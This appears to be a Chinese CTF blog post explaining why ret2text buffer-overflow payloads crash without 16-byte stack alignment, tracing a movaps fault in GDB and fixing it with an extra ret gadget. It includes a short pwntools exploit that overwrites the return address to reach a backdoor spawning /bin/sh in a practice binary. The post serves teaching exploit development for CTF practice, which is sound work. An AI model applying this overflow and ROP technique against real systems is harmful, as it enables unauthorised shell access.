在Pwn中,为什么时长需要栈对齐?

7 篇文章 0 订阅

介绍

在 Pwn 的学习中,对于初学者常常会遇到这个问题:
找到了溢出点,并且知道如何溢出,但是不知道为什么自己的Payload并没有成功,Pwntools报错EOF:
在这里插入图片描述
今天趁着有时间,来仔细研究一下为什么会发生这种情况。

知识要点

xmm 寄存器要求内存地址对齐,对齐由内存位数决定,本文中为16字节对齐。

正文

首先我随手拽了一题很简单的ret2text。
FindanotherWay

在这里插入图片描述
可以看到是真的基础的那种。然后我们使用EXP:

from PwnModules import *

binary = './FindanotherWay'
io = process(binary)
#io = remote('node5.anna.nssctf.cn', 28852)
elf = ELF(binary)

Padding = b'A' * (12 + 0x08)

# 0x401230 是本题的backdoor函数。
Payload = Padding + p64(0x401230)

debug(io)
io.sendline(Payload)

io.interactive()

然后就EOF了,为什么呢?
打开GDB,开始逐步调试:
在这里插入图片描述
在还没执行read函数之前是这样的,然后我们调试到下一步。(中间跳过了几步,因为我觉得没啥必要)
在这里插入图片描述
可以看到现在我们的RBX已经被Payload覆盖。
这是即将执行system(‘/bin/sh’)的时候:
在这里插入图片描述
可以看到似乎没有什么异常情况,RDI寄存器的值是/bin/sh,RAX寄存器也为0,而看起来同样的这段就能正确执行
在这里插入图片描述

继续执行,程序会抛出SIGSEGV错误,卡在指令:在这里插入图片描述
在这里插入图片描述
movaps xmmword ptr [rsp + 0x50], xmm0 处。
通过谷歌我们可以得知:
x86 Instruction Set Reference

When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated.

当操作数或源操作数是内存地址时,内存地址必须为16字节对齐。(不固定,但是这个情况是16字节对齐。)

看看参数部分:[rsp + 0x50], xmm0
在这里插入图片描述
很显然我们的rsp不是16字节对齐的,16字节对齐的意思就是地址末尾以0结束,比如上文中的0x7ffc685c2970,就是以0结尾的。
也就是说,我们需要使我们的RSP地址16字节对齐才能成功执行这段语句:movaps xmmword ptr [rsp + 0x50], xmm0
回过来,我们提到了ret。那么ret的作用是什么呢?
正常函数一般逻辑是这样的:

endbr64
push    rbp
mov     rbp, rsp
lea     rdi, aCongratulation ; "Congratulations , now you find another "...
call    _puts
lea     rdi, aHereIsMyGiftEn ; "Here is my gift , enjoy yourself"
call    _puts
lea     rdi, command    ; "/bin/sh"
mov     eax, 0
call    _system
nop
pop     rbp
retn

返回地址与ret是如何处理的呢?
是这样的:
call和ret的实现逻辑可以大概视为进行了这样的操作(严格来说是错误的,只是实际上实现了差不多的逻辑。):

# call
push rip
jmp addr

# ret
pop rip
jump rip

我们尝试在Payload中加上ret指令。
在这里插入图片描述
可以发现变成了这样,执行了2遍ret。
在这里插入图片描述
并且这个操作不会影响我们的ROP链的执行,因为相当于原地踏步了一次,同时还对齐了RSP地址。
在这里插入图片描述
因此最简单的栈对齐方式就是通过添加一个ret gadget。

  • 21
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值